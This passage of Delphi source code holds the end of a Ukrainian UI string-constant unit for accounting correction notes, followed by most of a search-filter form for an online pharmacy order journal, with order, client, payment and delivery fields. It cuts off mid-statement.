'Р\р'; R_S_CUST = 'Р\р контрагента'; SUMMA_RAS = 'Сума видатку'; SUMMA_PRIH = 'Сума прибутку'; WINDOW_CHANGE = 'Вікно вибору документа, на який буде зроблена довідка'; DOC_SPRAVKA_NA_DOC = 'Довідка на касовий документ'; DOC_ISP_DOC_D = 'Виправна довідка за дебетом № '; DOC_ISP_DOC_K = 'Виправна довідка за кредитом № '; DOC_ZA = 'за'; DOC_AUTHOR_SP = 'Автор довідки'; DOC_KOMENT_DOC = 'Коментар до довідки'; DOC_TAB_NUM = 'Таб. Номер'; DOC_DATA_SP = 'Дані про довідку'; DOC_DATA_DOC = 'Дані про документ'; DOC_INFO_PROV = 'Інформація з проводок'; DOC_ERROR_DOC = 'Помилки у документі'; DOC_ERROR_PROV = 'Помилки у проводках'; DOC_INFO_DOG = 'Інформ. за договором'; DOC_SAVE_SP = 'Зберегти довідку'; DOC_YEAR_SHORT = 'р.'; DOC_ISP_SP_PO_DOC = 'Випр. довідка за документом № '; DOC_REG_SHOW = 'Режим перегляду довідок'; DOC_STORNO_PROV = 'Це сторнуюча проводка. Її не можна видаляти!'; DOC_ISP_SP_SHORT = 'Випр. довідка '; DOC_NOTE_DOC_SP = '. Підстава: '; DOC_MESSAGA_EXISTS_SP_DOC = 'Існують довідки в наступних періодах. Номер останньої довідки - '; DOC_SCH_BLOCK = 'Рахунок за цим документом заблокований!'; DOC_SCH_CLOSE = 'Рахунок за цим документом закритий!'; DOC_REG_NUM = 'Рег.номер: '; DOC_N_DOG = ' № договору: '; DOC_DATE_DOG = ' дата договору: '; DOC_NAME_CUST = ' ім''''я контрагента: '; DOC_TYPE_DOG = ' тип договору: '; DOC_FIO_PROJ = 'ПІБ проживаючого '; DOC_FIO_OBUCH = 'ПІБ що навчається '; DOC_REG_N = ' рег.н. - '; DOC_FROM = ' від - '; DOC_NAME_CUST_2 = ' Наймен. контрагента - '; DOC_NUMER_DOG = ' ( дог.№ '; DOC_CLOSE_DONT_SAVE = 'Вы дійсно бажаєте вийти не зберігши??'; DOC_CLOSE_NOT_DATE_KASSA_1 = 'В звітному періоді ('; DOC_CLOSE_NOT_DATE_KASSA_2 = ') не знайдено жодного дня реєстрування касових ордерів. Таким чином за відсутністю операцій в цьому періоді НЕМОЖЛИВО створити виправну справку!'; DOC_CLOSE_NOT_DATE_BANK_1 = 'В звітному періоді ('; DOC_CLOSE_NOT_DATE_BANK_2 = ') не знайдено жодної обробленої банківської виписки. Таким чином за відсутністю операцій в цьому періоді НЕМОЖЛИВО створити виправну справку!'; MAIN_WINDOW_SPRAVKA = 'Головне вікно довідок'; STORNO = 'Сторно'; DOC_SPRAVKA_SHOW_PROV = 'Показати проводки тільки з цієї довідки'; PRINT_REESTR_SPRAVOK = 'Друкувати реєстр'; PRINT_SPRAVKA = 'Друкувати довідку'; PRINT_REESTR_YEAR = 'р.'; PRINT_REESTR_FIO = 'П.І.Б.'; PRINT_REESTR_CUST = 'Контрагент'; PRINT_MONTH = 'Друкувати за місяць'; PRINT_DAY = 'Друкувати за день'; PRINT_WITH_SMETA = 'Друкувати з бюджетом'; OTOBRAJAT_ZA = 'Відображати за'; MY_YEAR = 'рік'; KASSA_KEKV = 'КЕКВ'; implementation end.
unit CCJSO_Condition; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, ExtCtrls, ActnList, ToolWin, StdCtrls, UCCenterJournalNetZkz, Menus, uDMJSO, DBCtrls, UtilsBase; type TfrmCCJSO_Condition = class(TForm) pnlControl: TPanel; pnlCondition: TPanel; pnlCondition_Tool: TPanel; pnlCondition_Show: TPanel; pgcCondirion: TPageControl; tabJournal: TTabSheet; tabOrder: TTabSheet; tabHistory: TTabSheet; Actions: TActionList; aControl_Ok: TAction; aControl_Clear: TAction; aControl_Close: TAction; tlbarControl: TToolBar; tlbtnControl_Ok: TToolButton; tlbtnControlClear: TToolButton; tlbtnControl_Close: TToolButton; grbxPeriod: TGroupBox; aValueFieldChange: TAction; grbxTitleOrder: TGroupBox; lblOrder: TLabel; edOrder: TEdit; lblState: TLabel; cmbxOrderState: TComboBox; lblPharmacy: TLabel; edPharmacy: TEdit; btnSlPharmacy: TButton; lblShipping: TLabel; edShipping: TEdit; btnSlShipping: TButton; lblSignNewOrder: TLabel; cmbxSignNewOrder: TComboBox; grbxClient: TGroupBox; lblAllNameClient: TLabel; lblPhoneClient: TLabel; lblAdresClient: TLabel; edAllNameClient: TEdit; btnSlAllNameClient: TButton; edPhoneClient: TEdit; btnClPhoneClient: TButton; edAdresClient: TEdit; btnSlAdresClient: TButton; aSlShipping: TAction; aSlAllNameClient: TAction; aSlPhoneClient: TAction; aSlAdresClient: TAction; aSlPharmacy: TAction; tabPay: TTabSheet; grbxGeoGroupPharm: TGroupBox; edGeoGroupPharm: TEdit; btnSLGeoGroupPharm: TButton; chbxGeoGroupPharmNotDefined: TCheckBox; aSlGeoGroupPharm: TAction; lblSignDefinedParm: TLabel; cmbxSignDefinedPharm: TComboBox; grbxMarkOrder: TGroupBox; cmbxMark: TComboBox; lblMarkOtherUser: TLabel; edMarkOtherUser: TEdit; btnSlMarkOtherUser: TButton; aSlMarkOtherUser: TAction; pnlOrderPeriod: TPanel; pnlOrderPeriod_Check: TPanel; pnlOrderPeriod_Periods: TPanel; lblKindCheckPeriod: TLabel; cmbxCheckPeriod: TComboBox; chbxCndAccountPeriod: TCheckBox; pgcPeriods: TPageControl; tabPeriod_Day: TTabSheet; tabPeriod_Date: TTabSheet; Label3: TLabel; Label4: TLabel; dtDateBegin: TDateTimePicker; dtTimeBegin: TDateTimePicker; dtTimeEnd: TDateTimePicker; dtDateEnd: TDateTimePicker; lblCndDatePeriod_with: TLabel; dtCndBegin: TDateTimePicker; lblCndDatePeriod_toOn: TLabel; dtCndEnd: TDateTimePicker; lblCity: TLabel; edCity: TEdit; btnCity: TButton; aSlCity: TAction; grbxNPOST: TGroupBox; lblSDispatchDeclaration: TLabel; lblSNPOST_StateName: TLabel; Label2: TLabel; dtDNPOST_StateBegin: TDateTimePicker; Label5: TLabel; dtDNPOST_StateEnd: TDateTimePicker; edSDispatchDeclaration: TEdit; edSNPOST_StateName: TEdit; chbxNPOST_SignStateDate: TCheckBox; aSlSNPOST_StateName: TAction; btnSlSNPOST_StateName: TButton; grbxPlanDateSend: TGroupBox; Label1: TLabel; cmbxSignPeriod_PDS: TComboBox; pnlPlanDateSend: TPanel; pnlPlanDateSend_Calendar: TPanel; Label6: TLabel; Label7: TLabel; dtBeginDate_PDS: TDateTimePicker; dtEndDate_PDS: TDateTimePicker; pnlPlanDateSend_Time: TPanel; Label8: TLabel; dtBeginClockDate_PDS: TDateTimePicker; dtBeginClockTime_PDS: TDateTimePicker; Label9: TLabel; dtEndClockDate_PDS: TDateTimePicker; dtEndClockTime_PDS: TDateTimePicker; lblSignLink: TLabel; cmbxSignLink: TComboBox; lblPayment: TLabel; edPayment: TEdit; btnSlPayment: TButton; aSlPayment: TAction; pnlPay_Have: TPanel; lblPay_Have: TLabel; cmbxPay_Have: TComboBox; lblPay_BarCode: TLabel; edPay_BarCode: TEdit; pnlPayBetween: TPanel; pnlPayBetween_Sum: TPanel; lblPay_SumFrom: TLabel; lblPay_SumTo: TLabel; edPay_SumFrom: TEdit; edPay_SumTo: TEdit; lblPay_Sum: TLabel; pnlPayBetween_CreateDate: TPanel; lblPay_CreateDateBegin: TLabel; lblPay_CreateDateRnd: TLabel; lblPay_CreateDate: TLabel; edPay_CreateDateBegin: TEdit; edPay_CreateDateRnd: TEdit; pnlPayBetween_RedeliveryDate: TPanel; lblPay_RedeliveryDateBegin: TLabel; lblPay_RedeliveryDateEnd: TLabel; lblPay_RedeliveryDate: TLabel; edPay_RedeliveryDateBegin: TEdit; edPay_RedeliveryDateEnd: TEdit; pnlPayBetween_Date: TPanel; lblPay_DateBegin: TLabel; lblPay_DateEnd: TLabel; lblPay_Date: TLabel; edPay_DateBegin: TEdit; edPay_DateEnd: TEdit; aSlDate: TAction; btnPay_DateBegin: TButton; btnPay_DateEnd: TButton; dtnPay_RedeliveryDateBegin: TButton; dtnPay_RedeliveryDateEnd: TButton; btnPay_CreateDateBegin: TButton; btnPay_CreateDateRnd: TButton; aEdSum: TAction; tabNPostPay: TTabSheet; pmTab: TPopupMenu; aTabCheckJournal: TAction; aTabCheckOrder: TAction; aTabCheckHistory: TAction; aTabCheckPay: TAction; aTabCheckNPostPay: TAction; aTabCheck: TAction; pmiTabCheckJournal: TMenuItem; pmiTabCheckOrder: TMenuItem; pmiTabCheckHistory: TMenuItem; pmiTabCheckPay: TMenuItem; pmiTabCheckNPostPay: TMenuItem; Panel2: TPanel; Label12: TLabel; Label13: TLabel; cmbxNPostPay_Have: TComboBox; edNPostPay_BarCode: TEdit; Panel1: TPanel; Panel3: TPanel; Label10: TLabel; Label11: TLabel; Label14: TLabel; edNPostPay_SumFrom: TEdit; edNPostPay_SumTo: TEdit; Panel4: TPanel; Label15: TLabel; Label16: TLabel; Label17: TLabel; edNPostPay_CreateDateBegin: TEdit; edNPostPay_CreateDateEnd: TEdit; btnNPostPay_CreateDateBegin: TButton; btnNPostPay_CreateDateEnd: TButton; Panel5: TPanel; Label18: TLabel; Label19: TLabel; Label20: TLabel; edNPostPay_RedeliveryDateBegin: TEdit; edNPostPay_RedeliveryDateEnd: TEdit; btnNPostPay_RedeliveryDateBegin: TButton; btnNPostPay_RedeliveryDateEnd: TButton; grbxStock: TGroupBox; cmbxSignStock: TComboBox; lblSStockDateBegin: TLabel; edSStockDateBegin: TEdit; lblSStockDateEnd: TLabel; edSStockDateEnd: TEdit; btnSStockDateBegin: TButton; btnSStockDateEnd: TButton; lcSrcSystem: TDBLookupComboBox; Label21: TLabel; Label22: TLabel; edExtId: TEdit; procedure FormCreate(Sender: TObject); procedure FormActivate(Sender: TObject); procedure aControl_OkExecute(Sender: TObject); procedure aControl_ClearExecute(Sender: TObject); procedure aControl_CloseExecute(Sender: TObject); procedure aValueFieldChangeExecute(Sender: TObject); procedure aSlShippingExecute(Sender: TObject); procedure aSlAllNameClientExecute(Sender: TObject); procedure aSlPhoneClientExecute(Sender: TObject); procedure aSlAdresClientExecute(Sender: TObject); procedure aSlPharmacyExecute(Sender: TObject); procedure aSlGeoGroupPharmExecute(Sender: TObject); procedure chbxGeoGroupPharmNotDefinedClick(Sender: TObject); procedure aSlMarkOtherUserExecute(Sender: TObject); procedure aSlCityExecute(Sender: TObject); procedure aSlSNPOST_StateNameExecute(Sender: TObject); procedure cmbxSignLinkChange(Sender: TObject); procedure aSlPaymentExecute(Sender: TObject); procedure aSlDateExecute(Sender: TObject); procedure aEdSumExecute(Sender: TObject); procedure pgcCondirionChange(Sender: TObject); procedure aTabCheckExecute(Sender: TObject); private { Private declarations } ISignActive : smallint; SignOkCondition : boolean; RecCondition : TJSO_Condition; RecSession : TUserSession; SignDSEmpty : boolean; SignOrderClose : boolean; ParentsList : string; SlavesList : string; RNAllNameClient : integer; { RN-клиента из автосправочника } NMarkOtherUser : integer; { RN-пользователя (исполнителя) избранных интернет-заказов } NPOST_StateID : integer; { RN-состояние экспресс-накладной } // procedure ShowGets; procedure ShowGetsEnable_ActionLink(Item : integer); function GetSignValueFieldChange : boolean; function GetStateConditionJournal : boolean; function GetStateConditionOrder : boolean; function GetStateConditionHistory : boolean; function GetStateConditionPay : boolean; function GetStateConditionNPostPay : boolean; public { Public declarations } procedure SetRecCondition(Parm : TJSO_Condition); procedure SetRecSession(Parm : TUserSession); procedure SetSignDSEmpty(Parm : boolean); procedure SetSignOrderClose(Parm : boolean); procedure SetParentsList(Parm : string); procedure SetSlavesList(Parm : string); function GetRecCondition : TJSO_Condition; function GetSignOkCondition : boolean; end; var frmCCJSO_Condition: TfrmCCJSO_Condition; implementation uses Util, DateUtils, ExDBGRID, UMAIN, UReference, CCJSO_SetFieldDate; {$R *.dfm} const sMsgSumTypeCurr = 'Сумма платежа имеет числовой формат'; procedure TfrmCCJSO_Condition.FormCreate(Sender: TObject); begin { Инициализация } SignOkCondition := false; ISignActive := 0; RNAllNameClient := 0; SignDSEmpty := true; SignOrderClose := true; ParentsList := ''; SlavesList := ''; { Приводим закладки по виду контрольного периода даты создания заказа к более красивому виду } tabPeriod_Day.Caption := ''; tabPeriod_Date.Caption := ''; pgcPeriods.TabHeight := 1; pgcPeriods.TabPosition := tpLeft; grbxPeriod.Height := 93; self.Height := self.Height - 20; { Убираем лишнее по согласованной дате доставки с клиентом } pnlPlanDateSend.Visible := false; grbxPlanDateSend.Height := grbxPlanDateSend.Height - pnlPlanDateSend.Height; self.Height := self.Height - pnlPlanDateSend.Height; end; procedure TfrmCCJSO_Condition.FormActivate(Sender: TObject); begin if ISignActive = 0 then begin { Иконка формы } FCCenterJournalNetZkz.imgMain.GetIcon(179,self.Icon); { Стартовая закладка } pgcCondirion.ActivePage := tabJournal; { По умолчанию считается, что после создания формы запускаются все public set-процедуры } { Инициализация - Заголовок заказа } cmbxCheckPeriod.ItemIndex := RecCondition.SignOrderPeriod; dtCndBegin.Date := RecCondition.BeginDate; dtCndEnd.Date := RecCondition.EndDate; dtDateBegin.Date := RecCondition.BeginClockDate; dtTimeBegin.Time := RecCondition.BeginClockTime; dtDateEnd.Date := RecCondition.EndClockDate; dtTimeEnd.Time := RecCondition.EndClockTime; chbxCndAccountPeriod.Checked := RecCondition.SignAccountPeriod; edOrder.Text := RecCondition.SOrderID; edCity.Text := RecCondition.SCity; cmbxOrderState.ItemIndex := RecCondition.OrderState; cmbxSignNewOrder.ItemIndex := RecCondition.SignNewOrder; edPharmacy.Text := RecCondition.Pharmacy; edShipping.Text := RecCondition.Shipping; edPayment.Text := RecCondition.Payment; edAllNameClient.Text := RecCondition.AllNameClient; edPhoneClient.Text := RecCondition.PhoneClient; edAdresClient.Text := RecCondition.AdresClient; edGeoGroupPharm.Text := RecCondition.SGeoGroupPharm; chbxGeoGroupPharmNotDefined.Checked := RecCondition.SignGeoGroupPharmNotDefined; cmbxSignDefinedPharm.ItemIndex := RecCondition.SignDefinedPharm; cmbxMark.ItemIndex := RecCondition.SignMark; edMarkOtherUser.Text := RecCondition.SMarkOtherUser; NMarkOtherUser := RecCondition.NMarkOtherUser; edSDispatchDeclaration.Text := RecCondition.SDispatchDeclaration; NPOST_StateID := RecCondition.NPOST_StateID; edSNPOST_StateName.Text := RecCondition.SNPOST_StateName; dtDNPOST_StateBegin.Date := RecCondition.DNPOST_StateBegin; dtDNPOST_StateEnd.Date := RecCondition.DNPOST_StateEnd; chbxNPOST_SignStateDate.Checked := RecCondition.NPOST_SignStateDate; cmbxSignPeriod_PDS.ItemIndex := RecCondition.SignPeriod_PDS; dtBeginDate_PDS.Date := RecCondition.BeginDate_PDS; dtEndDate_PDS.Date := RecCondition.EndDate_PDS; dtBeginClockDate_PDS.Date := RecCondition.BeginClockDate_PDS; dtBeginClockTime_PDS.Time := RecCondition.BeginClockTime_PDS; dtEndClockDate_PDS.Date := RecCondition.EndClockDate_PDS; dtEndClockTime_PDS.Time := RecCondition.EndClockTime_PDS; cmbxSignLink.ItemIndex := RecCondition.SignLink; cmbxSignStock.ItemIndex := RecCondition.SignStockDate; edSStockDateBegin.Text := RecCondition.SStockDateBegin; edSStockDateEnd.Text := RecCondition.SStockDateEnd; if Assigned(lcSrcSystem.ListSource) then begin if Assigned(lcSrcSystem.ListSource.DataSet) then begin lcSrcSystem.ListSource.DataSet.Active := false; lcSrcSystem.ListSource.DataSet.Active := true; end; if VarIsAssigned(RecCondition.SrcSystem) and lcSrcSystem.ListSource.DataSet.Locate('ExtSystem', RecCondition.SrcSystem, []) then lcSrcSystem.KeyValue := RecCondition.SrcSystem else lcSrcSystem.KeyValue := Null; end; edExtId.Text := RecCondition.ExtId; { Инициализация - Состав заказа } { Инициализация - История операций } { Инициализация - Платежи } cmbxPay_Have.ItemIndex := RecCondition.HavePay; edPay_BarCode.Text := RecCondition.BarCode; edPay_SumFrom.Text := RecCondition.PaySumFrom; edPay_SumTo.Text := RecCondition.PaySumTo; edPay_DateBegin.Text := RecCondition.PayDateBegin; edPay_DateEnd.Text := RecCondition.PayDateEnd; edPay_RedeliveryDateBegin.Text := RecCondition.PayRedeliveryDateBegin; edPay_RedeliveryDateEnd.Text := RecCondition.PayRedeliveryEnd; edPay_CreateDateBegin.Text := RecCondition.PayCreateDateBegin; edPay_CreateDateRnd.Text := RecCondition.PayCreateDateEnd; { Инициализация - Наложенные платежи } cmbxNPostPay_Have.ItemIndex := RecCondition.NPostHavePay; edNPostPay_BarCode.Text := RecCondition.NPostBarCode; edNPostPay_SumFrom.Text := RecCondition.NPostPaySumFrom; edNPostPay_SumTo.Text := RecCondition.NPostPaySumTo; edNPostPay_RedeliveryDateBegin.Text := RecCondition.NPostPayRedeliveryDateBegin; edNPostPay_RedeliveryDateEnd.Text := RecCondition.NPostPayRedeliveryEnd; edNPostPay_CreateDateBegin.Text := RecCondition.NPostPayCreateDateBegin; edNPostPay_CreateDateEnd.Text := RecCondition.NPostPayCreateDateEnd; { Форма активна } ISignActive := 1; ShowGets; end; end; (* Управление доступом к действиям aJSOLink_* *) procedure TfrmCCJSO_Condition.ShowGetsEnable_ActionLink(Item : integer); begin if SignDSEmpty then begin if cmbxSignLink.ItemIndex = cJSOSignLink_FindCurrentOrders then cmbxSignLink.ItemIndex := 0; end else begin if SignOrderClose then begin if cmbxSignLink.ItemIndex = cJSOSignLink_FindCurrentOrders then if (length(ParentsList) = 0) and (length(SlavesList) = 0) then cmbxSignLink.ItemIndex := 0; end else begin if cmbxSignLink.ItemIndex = cJSOSignLink_FindCurrentOrders then if (length(ParentsList) = 0) and (length(SlavesList) = 0) then cmbxSignLink.ItemIndex := 0; end; end; { Закрываем дествие aJSOLink_FindFavorites для большого периода } if cmbxSignLink.ItemIndex = cJSOSignLink_FindFavorites then if cmbxCheckPeriod.ItemIndex = 0 then begin { Календарный период } if (DaysBetween(dtCndEnd.Date,dtCndBegin.Date) > 60) or (not chbxCndAccountPeriod.Checked) then cmbxSignLink.ItemIndex := 0; end else if cmbxCheckPeriod.ItemIndex = 1 then begin { Период (дата + время) } if (DaysBetween(dtDateEnd.Date,dtDateBegin.Date) > 60) or (not chbxCndAccountPeriod.Checked) then cmbxSignLink.ItemIndex := 0; end; end; procedure TfrmCCJSO_Condition.ShowGets; procedure ShowTabPeriod(SignDay,SignDate : boolean); begin tabPeriod_Day.TabVisible := SignDay; tabPeriod_Date.TabVisible := SignDate; end; procedure ShowPnlPeriod_PDS(SignDay,SignDateTime : boolean); begin if (not SignDay) and (not SignDateTime) then begin pnlPlanDateSend_Calendar.Visible := SignDay; pnlPlanDateSend_Time.Visible := SignDateTime; if pnlPlanDateSend.Visible then begin pnlPlanDateSend.Visible := false; grbxPlanDateSend.Height := grbxPlanDateSend.Height - pnlPlanDateSend.Height; self.Height := self.Height - pnlPlanDateSend.Height; end; end else if SignDay then begin if not pnlPlanDateSend.Visible then begin self.Height := self.Height + pnlPlanDateSend.Height; grbxPlanDateSend.Height := grbxPlanDateSend.Height + pnlPlanDateSend.Height; pnlPlanDateSend.Visible := true; end; pnlPlanDateSend_Time.Visible := not SignDay; pnlPlanDateSend_Calendar.Align := alClient; pnlPlanDateSend_Calendar.Visible := SignDay; end else if SignDateTime then begin if not pnlPlanDateSend.Visible then begin self.Height := self.Height + pnlPlanDateSend.Height; grbxPlanDateSend.Height := grbxPlanDateSend.Height + pnlPlanDateSend.Height; pnlPlanDateSend.Visible := true; end; pnlPlanDateSend_Calendar.Visible := not SignDateTime; pnlPlanDateSend_Time.Align := alClient; pnlPlanDateSend_Time.Visible := SignDateTime; end; end; begin if ISignActive = 1 then begin { Выбор вида контрольного периода даты заказа } case cmbxCheckPeriod.ItemIndex of 0: ShowTabPeriod(true, false); 1: ShowTabPeriod(false,true ); end; { Выбор вида контрольного периода согласованной даты поставки с клиентом } case cmbxSignPeriod_PDS.ItemIndex of 0: ShowPnlPeriod_PDS(false, false); 1: ShowPnlPeriod_PDS(true, false); 2: ShowPnlPeriod_PDS(false, true); 3: ShowPnlPeriod_PDS(false, false); end; { Доступ к элементам управления } if GetSignValueFieldChange then aControl_Ok.Enabled := true else aControl_Ok.Enabled := false; if GetStateConditionJournal or GetStateConditionOrder or GetStateConditionHistory or GetStateConditionPay or GetStateConditionNPostPay then tlbtnControlClear.Enabled := true else tlbtnControlClear.Enabled := false; if cmbxMark.ItemIndex = 2 then begin edMarkOtherUser.Enabled := true; btnSlMarkOtherUser.Enabled := true; lblMarkOtherUser.Enabled := true; end else begin edMarkOtherUser.Text := ''; edMarkOtherUser.Enabled := false; btnSlMarkOtherUser.Enabled := false; lblMarkOtherUser.Enabled := false; end; if chbxNPOST_SignStateDate.Checked then begin dtDNPOST_StateBegin.Enabled := true; dtDNPOST_StateEnd.Enabled := true; end else begin dtDNPOST_StateBegin.Enabled := false; dtDNPOST_StateEnd.Enabled := false; end; { Разрешение на условие поиска для связанных заказов } ShowGetsEnable_ActionLink(cmbxSignLink.ItemIndex); end; end; procedure TfrmCCJSO_Condition.SetRecCondition(Parm : TJSO_Condition); begin RecCondition := Parm; end; procedure TfrmCCJSO_Condition.SetRecSession(Parm : TUserSession); begin RecSession := Parm; end; procedure TfrmCCJSO_Condition.SetSignDSEmpty(Parm : Boolean); begin SignDSEmpty := Parm; end; procedure TfrmCCJSO_Condition.SetSignOrderClose(Parm : boolean); begin SignOrderClose := Parm; end; procedure TfrmCCJSO_Condition.SetParentsList(Parm : string); begin ParentsList := Parm; end; procedure TfrmCCJSO_Condition.SetSlavesList(Parm : string); begin SlavesList := Parm; end; function TfrmCCJSO_Condition.GetRecCondition : TJSO_Condition; begin result := RecCondition; end; function TfrmCCJSO_Condition.GetSignOkCondition : boolean; begin result := SignOkCondition; end; function TfrmCCJSO_Condition.GetSignValueFieldChange : boolean; var bResReturn : boolean; begin bResReturn := false; if { Реквизиты заказа } (dtCndBegin.Date <> RecCondition.BeginDate) or (dtCndEnd.Date <> RecCondition.EndDate) or (cmbxCheckPeriod.ItemIndex <> RecCondition.SignOrderPeriod) or (dtDateBegin.Date <> RecCondition.BeginClockDate) or (dtTimeBegin.Time <> RecCondition.BeginClockTime) or (dtDateEnd.Date <> RecCondition.EndClockDate) or (dtTimeEnd.Time <> RecCondition.EndClockTime) or (chbxCndAccountPeriod.Checked <> RecCondition.SignAccountPeriod) or (edOrder.Text <> RecCondition.SOrderID) or (edCity.Text <> RecCondition.SCity) or (cmbxOrderState.ItemIndex <> RecCondition.OrderState) or (cmbxSignNewOrder.ItemIndex <> RecCondition.SignNewOrder) or (edPharmacy.Text <> RecCondition.Pharmacy) or (edShipping.Text <> RecCondition.Shipping) or (edPayment.Text <> RecCondition.Payment) or (edAllNameClient.Text <> RecCondition.AllNameClient) or (edPhoneClient.Text <> RecCondition.PhoneClient) or (edAdresClient.Text <> RecCondition.AdresClient) or (edGeoGroupPharm.Text <> RecCondition.SGeoGroupPharm) or (chbxGeoGroupPharmNotDefined.Checked <> RecCondition.SignGeoGroupPharmNotDefined) or (cmbxSignDefinedPharm.ItemIndex <> RecCondition.SignDefinedPharm) or (edSDispatchDeclaration.Text <> RecCondition.SDispatchDeclaration) or (edSNPOST_StateName.Text <> RecCondition.SNPOST_StateName) or (chbxNPOST_SignStateDate.Checked <> RecCondition.NPOST_SignStateDate) or (chbxNPOST_SignStateDate.Checked and ( (dtDNPOST_StateBegin.Date <> RecCondition.DNPOST_StateBegin) or (dtDNPOST_StateEnd.Date <> RecCondition.DNPOST_StateEnd) ) ) or (cmbxMark.ItemIndex <> RecCondition.SignMark) or (edMarkOtherUser.Text <> RecCondition.SMarkOtherUser) or (cmbxSignPeriod_PDS.ItemIndex <> RecCondition.SignPeriod_PDS) or (cmbxSignStock.ItemIndex <> RecCondition.SignStockDate) or (edSStockDateBegin.Text <> RecCondition.SStockDateBegin) or (edSStockDateEnd.Text <> RecCondition.SStockDateEnd) or ((cmbxSignPeriod_PDS.ItemIndex in [1,2]) and ( (dtBeginDate_PDS.Date <> RecCondition.BeginDate_PDS) or (dtEndDate_PDS.Date <> RecCondition.EndDate_PDS) or (dtBeginClockDate_PDS.Date <> RecCondition.BeginClockDate_PDS) or (dtBeginClockTime_PDS.Time <> RecCondition.BeginClockTime_PDS) or (dtEndClockDate_PDS.Date <> RecCondition.EndClockDate_PDS) or (dtEndClockTime_PDS.Time <> RecCondition.EndClockTime_PDS) ) ) or (cmbxSignLink.ItemIndex <> RecCondition.SignLink) { Платежи } or (cmbxPay_Have.ItemIndex <> RecCondition.HavePay) or (edPay_BarCode.Text <> RecCondition.BarCode) or (edPay_SumFrom.Text <> RecCondition.PaySumFrom) or (edPay_SumTo.Text <> RecCondition.PaySumTo) or (edPay_DateBegin.Text <> RecCondition.PayDateBegin) or (edPay_DateEnd.Text <> RecCondition.PayDateEnd) or (edPay_RedeliveryDateBegin.Text <> RecCondition.PayRedeliveryDateBegin) or (edPay_RedeliveryDateEnd.Text <> RecCondition.PayRedeliveryEnd) or (edPay_CreateDateBegin.Text <> RecCondition.PayCreateDateBegin) or (edPay_CreateDateRnd.Text <> RecCondition.PayCreateDateEnd) { Наложенные платежи } or (cmbxNPostPay_Have.ItemIndex <> RecCondition.NPostHavePay) or (edNPostPay_BarCode.Text <> RecCondition.NPostBarCode) or (edNPostPay_SumFrom.Text <> RecCondition.NPostPaySumFrom) or (edNPostPay_SumTo.Text <> RecCondition.NPostPaySumTo) or (edNPostPay_RedeliveryDateBegin.Text <> RecCondition.NPostPayRedeliveryDateBegin) or (edNPostPay_RedeliveryDateEnd.Text <> RecCondition.NPostPayRedeliveryEnd) or (edNPostPay_CreateDateBegin.Text <> RecCondition.NPostPayCreateDateBegin) or (edNPostPay_CreateDateEnd.Text <> RecCondition.NPostPayCreateDateEnd) or (lcSrcSystem.KeyValue <> RecCondition.SrcSystem) or (edExtId.Text <> RecCondition.ExtId) then bResReturn := true; result := bResReturn; end; function TfrmCCJSO_Condition.GetStateConditionJournal : boolean; var bResReturn : boolean; begin bResReturn := false; if (length(trim(edOrder.Text)) > 0) or (length(trim(edCity.Text)) > 0) or (cmbxOrderState.ItemIndex <> 3) or (cmbxSignNewOrder.ItemIndex <> 0) or (length(trim(edPharmacy.Text)) > 0) or (cmbxSignDefinedPharm.ItemIndex <> 0) or (length(trim(edShipping.Text)) > 0) or (length(trim(edPayment.Text)) > 0) or (length(trim(edAllNameClient.Text)) > 0) or (length(trim(edPhoneClient.Text)) > 0) or (length(trim(edAdresClient.Text)) > 0) or (length(trim(edGeoGroupPharm.Text)) > 0) or (chbxGeoGroupPharmNotDefined.Checked) or (cmbxMark.ItemIndex <> 0) or (length(trim(edMarkOtherUser.Text)) > 0) or (length(trim(edSDispatchDeclaration.Text)) > 0) or (length(trim(edSNPOST_StateName.Text)) > 0) or chbxNPOST_SignStateDate.Checked or (cmbxSignPeriod_PDS.ItemIndex <> 0) or (cmbxSignLink.ItemIndex <> 0) or (cmbxSignStock.ItemIndex <> 0) or (length(trim(edExtId.Text)) > 0) or (VarIsAssigned(lcSrcSystem.KeyValue)) then bResReturn := true; result := bResReturn; end; function TfrmCCJSO_Condition.GetStateConditionOrder : boolean; var bResReturn : boolean; begin bResReturn := false; result := bResReturn; end; function TfrmCCJSO_Condition.GetStateConditionHistory : boolean; var bResReturn : boolean; begin bResReturn := false; result := bResReturn; end; function TfrmCCJSO_Condition.GetStateConditionPay : boolean; var bResReturn : boolean; begin bResReturn := false; if (cmbxPay_Have.ItemIndex <> 0) or (length(trim(edPay_BarCode.Text)) > 0) or (length(trim(edPay_SumFrom.Text)) > 0) or (length(trim(edPay_SumTo.Text)) > 0) or (length(trim(edPay_DateBegin.Text)) > 0) or (length(trim(edPay_DateEnd.Text)) > 0) or (length(trim(edPay_RedeliveryDateBegin.Text)) > 0) or (length(trim(edPay_RedeliveryDateEnd.Text)) > 0) or (length(trim(edPay_CreateDateBegin.Text)) > 0) or (length(trim(edPay_CreateDateRnd.Text)) > 0) then bResReturn := true; result := bResReturn; end; function TfrmCCJSO_Condition.GetStateConditionNPostPay : boolean; var bResReturn : boolean; begin bResReturn := false; if (cmbxNPostPay_Have.ItemIndex <> 0) or (length(trim(edNPostPay_BarCode.Text)) > 0) or (length(trim(edNPostPay_SumFrom.Text)) > 0) or (length(trim(edNPostPay_SumTo.Text)) > 0) or (length(trim(edNPostPay_RedeliveryDateBegin.Text)) > 0) or (length(trim(edNPostPay_RedeliveryDateEnd.Text)) > 0) or (length(trim(edNPostPay_CreateDateBegin.Text)) > 0) or (length(trim(edNPostPay_CreateDateEnd.Text)) > 0) then bResReturn := true; result := bResReturn; end; procedure TfrmCCJSO_Condition.aControl_OkExecute(Sender: TObject); begin { Фиксируем параметры отбора } { Реквизиты заказа } RecCondition.SOrderID := trim(edOrder.Text); RecCondition.SCity := trim(edCity.Text); RecCondition.SignOrderPeriod := cmbxCheckPeriod.ItemIndex; RecCondition.BeginDate := dtCndBegin.Date; RecCondition.EndDate := dtCndEnd.Date; RecCondition.BeginClockDate := dtDateBegin.Date; RecCondition.BeginClockTime := dtTimeBegin.Time; RecCondition.EndClockDate := dtDateEnd.Date; RecCondition.EndClockTime := dtTimeEnd.Time; RecCondition.SignAccountPeriod := chbxCndAccountPeriod.Checked; RecCondition.OrderState := cmbxOrderState.ItemIndex; RecCondition.SignNewOrder := cmbxSignNewOrder.ItemIndex; RecCondition.Pharmacy := trim(edPharmacy.Text); RecCondition.Shipping := trim(edShipping.Text); RecCondition.Payment := trim(edPayment.Text); RecCondition.AllNameClient := trim(edAllNameClient.Text); RecCondition.PhoneClient := trim(edPhoneClient.Text); RecCondition.AdresClient := 